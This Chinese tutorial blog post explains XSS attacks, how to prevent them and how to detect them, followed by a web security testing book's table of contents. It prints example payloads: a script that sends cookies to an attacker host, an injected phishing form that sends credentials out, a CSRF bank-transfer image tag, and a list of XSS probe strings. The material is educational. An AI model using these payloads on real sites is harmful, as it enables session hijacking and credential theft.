安全测试

http://blog.youkuaiyun.com/yefan2222/article/details/7091863

一、XSS攻击简介

         作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。

        由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,攻击者的目的就已经达到了。

二、XSS攻击的分类

         根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。

1.反射型XSS

         反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式反射回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本反射到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

         比如攻击者将如下链接发送给受害者:

         http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

         当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。

2.存储型XSS

         存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

         可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

三、XSS攻击的手段及其危害

   

1.窃取Cookie

         通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:

         <script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>

       当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。

         得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。这样,攻击者可以任意地利用受害者的身份访问服务器上的资源和服务,甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限,攻击者还可以利用其提升自己账号的权限,从而进行进一步的攻击。

注:Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)

2.引导钓鱼

         所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

         <script>

function hack()

{

                   location.replace(“http://www.attackpage.com/record.asp?username=“

+document.forms[0].user.value + “password=” + document.forms[0].pass.value);

}

</script>

<form>

<br><br><HR><H3>这个功能需要登录:</H3 >

<br><br>请输入用户名:<br>

<input type=”text” id=”user”name=”user”>

<br>请输入密码:<br>

<input type=”password” name =“pass”>

<br><input type=”submit”name=”login” value=”登录”οnclick=”hack()”>

</form><br><br><HR>

    注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击登录按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。可以看到,和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改,因此隐蔽性很高,而用户的账号失窃往往会带来重大的损失,因此它的危害也是十分巨大的。

3.跨站请求伪造

         跨站请求伪造(Cross-SiteRequest ForgeryCSRF),作为OWASP组织的2007年提出十大安全漏洞第五,它也属于XSS攻击的一种衍生。所谓跨站请求伪造,就是攻击者利用XSS注入攻击的方式,注入一段脚本,而当受害者的浏览器运行这段脚本时,脚本伪造受害者发送了一个合法请求。比如我们注入如下的HTML代码:

         <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

         假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。

4.注入恶意软件

         除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。

         利用XSS注入恶意软件的方式,攻击者可以很方便地在互联网上传播病毒、木马和蠕虫,通过这种途径,攻击者就可以通过这些病毒、木马和蠕虫,进一步地对受害者的主机发动攻击。目前,互联网上的挂马现象非常普遍,而XSS注入的出现也无疑给挂马的攻击者指明了又一个新的方向。通过传播这些木马,窃取合法用户的敏感信息,不少非法攻击者也逐渐将这一过程产业化,经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失,造成的危害也很大。

 

四、XSS的预防

         在前面的文章中,我们具体介绍了各种XSS攻击的原理和方式。可以看出,XSS是一种覆盖面很广,隐蔽性很高,危害也非常大的网络应用安全漏洞。除非网站服务器完全不存在XSS漏洞,否则就会给攻击者们留下空子。因此,如何在Web应用程序的开发过程中对XSS漏洞进行预防,是所有网站开发人员所必须注意的重中之重。下面我们介绍几种常用的XSS预防措施。

1. 输入检测

         对用户的所有输入数据进行检测,比如过滤其中的“<”“>”“/”等可能导致脚本注入的特殊字符,或者过滤“script”javascript等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进行编码如“<</span>”“<”)、“>”“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。

2. 输出编码

         通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。

3. Cookie防盗

         利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于网站来说,不能在Cookie信息中存放太多敏感信息,也不能将Cookie作为身份认证的唯一标识,等等。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息用MD5Hash算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将CookieIP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。

4. 严格限制URL访问

         攻击者使用XSS攻击,通常都要借助于自己指定的网站页面,比如用它来记录敏感信息、在该页面上挂马等等。因此,在页面的脚本代码执行过程中,只要我们严格限制其访问的URL,比如只允许脚本代码访问本网站的URL等方式,就可以避免脚本的执行链接到其它可能是攻击者指定的页面上。

5. 用户注意事项

         作为一名普通的网络用户,在XSS攻击的预防上总体处在被动的地位。但是我们也可以通过采取一些措施来尽可能地避免受到XSS攻击。首先,我们不要轻易相信电子邮件或者网页中的不明链接,这些链接很有可能引导反射型XSS攻击或者使我们访问到一些不安全的网页。其次,我们在不必要的时候可以禁用脚本功能,这样XSS注入的脚本就无法得到运行。再次,我们也可以使用一些安全的浏览器上网,有的浏览器提供XSS过滤功能,会提示页面中可能发生的XSS注入并将其阻挡下来。

 

五、XSS的漏洞检测

1. 黑盒测试

         所谓黑盒测试,就是在不知道系统的代码和运行状态的条件下,对系统进行的测试。在对XSS漏洞的检测中,我们可以模拟黑客的攻击手段,在所有可能的数据输入接口处,尝试进行一些XSS注入。通过观察注入后的引用这些数据的页面,看其是否出现被注入的现象,即可确实是否存在XSS漏洞。比如我们可以用下面所列的一些脚本来尝试XSS注入:

        ><script>alert(document.cookie)</script>

        =’><script>alert(document.cookie)</script>

         <script>alert(document.cookie)</script>

        <script>alert(vulnerable)</script>

        

        <script>alert(’XSS’)</script>

        <imgsrc=”javascript:alert(’XSS’)”>

        <imgsrc=”http://xxx.com/yyy.png” οnerrοr=”alert(’XSS’)”>

         <divstyle=”height:expression_r(alert(’XSS’),1)” />(这个仅限 IE 有效)

         如果在打开那些引用了该输入数据的页面时,弹出对话框显示信息,则可以确定该数据输入时有可能导致XSS注入,从而确定了XSS漏洞的位置。

2. 静态分析

         XSS漏洞静态分析方法属于白盒测试方法的一种,它通过对Web应用的代码进行分析,从而发现其中可能存在的问题。通常来说,静态分析技术只是对代码进行一些简单的扫描,找到其中有可能导致XSS注入的地方,将其报告给我们。

         比如在Web应用的代码中可能存在一些读入数据的API,如Request.QueryString()$_GET等,如果存在这些API,则表示可能引入XSS的注入。通过静态分析工具,我们可以很容易发现所有这些读入数据的API,从而详细检查每一个数据输入点是否进行了XSS注入的过滤。可以看到,静态分析的方法,只是帮助我们定位XSS漏洞的可能位置,由于静态分析工具难以判定是否对输入数据进行过XSS过滤,因此还是需要我们手动地进行检查,从而确保不存在XSS漏洞。

3. 数据流分析

         XSS漏洞之所以产生,根本原因在于不安全的数据流,使得用户的输入数据被直接嵌入到某些页面中。比如PHP中的echo语句,就能够将一些数据直接添加为HTML页面的一部分,如果这个数据是用户注入了XSS脚本的数据,则会导致产生XSS攻击。因此,数据流分析的主要思想就是使用一些模型或者工具,分析Web应用程序代码中的数据传输情况,从而发现其中存在的问题。比如,我们可以将用户的输入数据所存储的变量打上污点标记,通过对数据流和变量类型的分析,逐步标记所有引用了污点变量的中间变量,最后通过观察输出到页面中的变量数据是否存在污点,来判断是否可能产生XSS漏洞。

 

 


目录 序 1 前言 3 第1章 绪论 13 1.1 什么是安全测试 13 1.2 什么是Web应用 17 1.3 Web应用基础 21 1.4 Web应用安全测试 25 1.5 方法才是重点 26 第2章 安装免费工具 29 2.1 安装Firefox 29 2.2 安装Firefox扩展 30 2.3 安装Firebug 31 2.4 安装OWASP的WebScarab 32 2.5 在Windows上安装Perl及其软件包 33 2.6 在Linux, Unix或OS X上安装Perl和使用CPAN 34 2.7 安装CAL9000 35 2.8 安装ViewState Decoder 36 2.9 安装cURL 36 2.10 安装Pornzilla 37 2.11 安装Cygwin 38 2.12 安装Nikto 2 39 2.13 安装Burp Suite 40 2.14 安装Apache HTTP Server 41 第3章 基本观察 43 3.1 查看网页的HTML源代码 44 3.2 查看源代码,高级功能 45 3.3 使用Firebug观察实时的请求头 48 3.4 使用WebScarab观察实时的POST数据 52 3.5 查看隐藏表单域 55 3.6 使用TamperData观察实时的响应头 56 3.7 高亮显示JavaScript和注释 59 3.8 检测JavaScript事件 60 3.9 修改特定的元素属性 61 3.10 动态跟踪元素属性 63 3.11 结论 65 第4章 面向Web的数据编码 66 4.1 辨别二进制数据表示 67 4.2 使用Base-64 69 4.3 在网页中转换Base-36数字 71 4.4 在Perl中使用Base-36 71 4.5 使用以URL方式编码的数据 72 4.6 使用HTML实体数据 74 4.7 计算散列值 76 4.8 辨别时间格式 78 4.9 以编程方式对时间值进行编码 80 4.10 解码ASP.NET的视图状态 81 4.11 解码多重编码 83 第5章 篡改输入 85 5.1 截获和修改POST请求 86 5.2 绕过输入限制 89 5.3 篡改URL 90 5.4 自动篡改URL 93 5.5 测试对URL长度的处理 94 5.6 编辑Cookie 96 5.7 伪造浏览器头信息 99 5.8 上传带有恶意文件名的文件 101 5.9 上传大文件 104 5.10 上传恶意XML实体文件 105 5.11 上传恶意XML结构 107 5.12 上传恶意ZIP文件 109 5.13 上传样例病毒文件 110 5.14 绕过用户界面的限制 111 第6章 自动化批量扫描 114 6.1 使用WebScarab爬行网站 115 6.2 将爬行结果转换为清单 117 6.3 减少要测试的URL 120 6.4 使用电子表格程序来精简列表 120 6.5 使用LWP对网站做镜像 121 6.6 使用wget对网站做镜像 123 6.7 使用wget对特定的清单做镜像 124 6.8 使用Nikto扫描网站 125 6.9 理解Nikto的输出结果 127 6.10 使用Nikto扫描HTTPS站点 128 6.11 使用带身份验证的Nikto 129 6.12 在特定起始点启动Nikto 130 6.13 在Nikto中使用特定的会话Cookie 131 6.14 使用WSFuzzer测试Web服务 132 6.15 理解WSFuzzer的输出结果 134 第7章 使用cURL实现特定任务的自动化 137 7.1 使用cURL获取页面 138 7.2 获取URL的许多变体 139 7.3 自动跟踪重定向 140 7.4 使用cURL检查跨站式脚本 141 7.5 使用cURL检查目录遍历 144 7.6 冒充特定类型的网页浏览器或设备 147 7.7 以交互方式冒充另一种设备 149 7.8 使用cURL模仿搜索引擎 151 7.9 通过假造Referer头信息来伪造工作流程 152 7.10 仅获取HTTP头 153 7.11 使用cURL发送POST请求 154 7.12 保持会话状态 156 7.13 操纵Cookie 157 7.14 使用cURL上传文件 158 7.15 建立多级测试用例 159 7.16 结论 164 第8章 使用LibWWWPerl实现自动化 166 8.1 编写简单的Perl脚本来获取页面 167 8.2 以编程方式更改参数 169 8.3 使用POST模仿表单输入 170 8.4 捕获和保存Cookie 172 8.5 检查会话过期 173 8.6 测试会话固定 175 8.7 发送恶意Cookie值 177 8.8 上传恶意文件内容 179 8.9 上传带有恶意名称的文件 181 8.10 上传病毒到应用 182 8.11 使用Perl解析接收到的值 184 8.12 以编程方式来编辑页面 186 8.13 使用线程化提高性能 189 第9章 查找设计缺陷 191 9.1 绕过必需的导航 192 9.2 尝试特权操作 194 9.3 滥用密码恢复 195 9.4 滥用可预测的标识符 197 9.5 预测凭证 199 9.6 找出应用中的随机数 200 9.7 测试随机数 202 9.8 滥用可重复性 204 9.9 滥用高负载操作 206 9.10 滥用限制性的功能 208 9.11 滥用竞争条件 209 第10章 攻击AJAX 211 10.1 观察实时的AJAX请求 213 10.2 识别应用中的JavaScript 214 10.3 从AJAX活动回溯到源代码 215 10.4 截获和修改AJAX请求 216 10.5 截获和修改服务器响应 218 10.6 使用注入数据破坏AJAX 220 10.7 使用注入XML破坏AJAX 222 10.8 使用注入JSON破坏AJAX 223 10.9 破坏客户端状态 224 10.10 检查跨域访问 226 10.11 通过JSON劫持来读取私有数据 227 第11章 操纵会话 229 11.1 在Cookie中查找会话标识符 230 11.2 在请求中查找会话标识符 232 11.3 查找Authentication头 233 11.4 分析会话ID过期 235 11.5 使用Burp分析会话标识符 239 11.6 使用WebScarab分析会话随机性 240 11.7 更改会话以逃避限制 245 11.8 假扮其他用户 247 11.9 固定会话 248 11.10 测试跨站请求伪造 249 第12章 多层面的测试 251 12.1 使用XSS窃取Cookie 251 12.2 使用XSS创建覆盖 253 12.3 使用XSS产生HTTP请求 255 12.4 以交互方式尝试基于DOM的XSS 256 12.5 绕过字段长度限制(XSS) 258 12.6 以交互方式尝试跨站式跟踪 259 12.7 修改Host头 261 12.8 暴力猜测用户名和密码 263 12.9 以交互方式尝试PHP包含文件注入 265 12.10 制作解压缩炸弹 266 12.11 以交互方式尝试命令注入 268 12.12 系统地尝试命令注入 270 12.13 以交互方式尝试XPath注入 273 12.14 以交互方式尝试服务器端包含(SSI)注入 275 12.15 系统地尝试服务器端包含(SSI)注入 276 12.16 以交互方式尝试LDAP注入 278 12.17 以交互方式尝试日志注入 280
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值